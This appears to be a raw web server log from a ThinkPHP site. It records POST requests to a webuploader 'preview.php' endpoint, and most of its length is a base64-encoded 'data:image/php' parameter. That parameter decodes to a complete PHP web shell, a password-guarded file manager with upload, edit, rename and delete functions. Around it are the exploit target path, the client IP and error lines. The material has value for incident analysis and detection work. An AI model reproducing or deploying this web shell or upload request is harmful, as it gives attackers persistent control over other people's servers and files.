charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T10:05:00+08:00 ] 116.213.36.234 POST 51tianwei.com/template/admin/public/js/webuploader/0.1.15/server/preview.php [运行时间:0.003136s] [吞吐率:318.86req/s] [内存消耗:274.50kb] [文件加载:37] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'template', 2 => 'admin', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 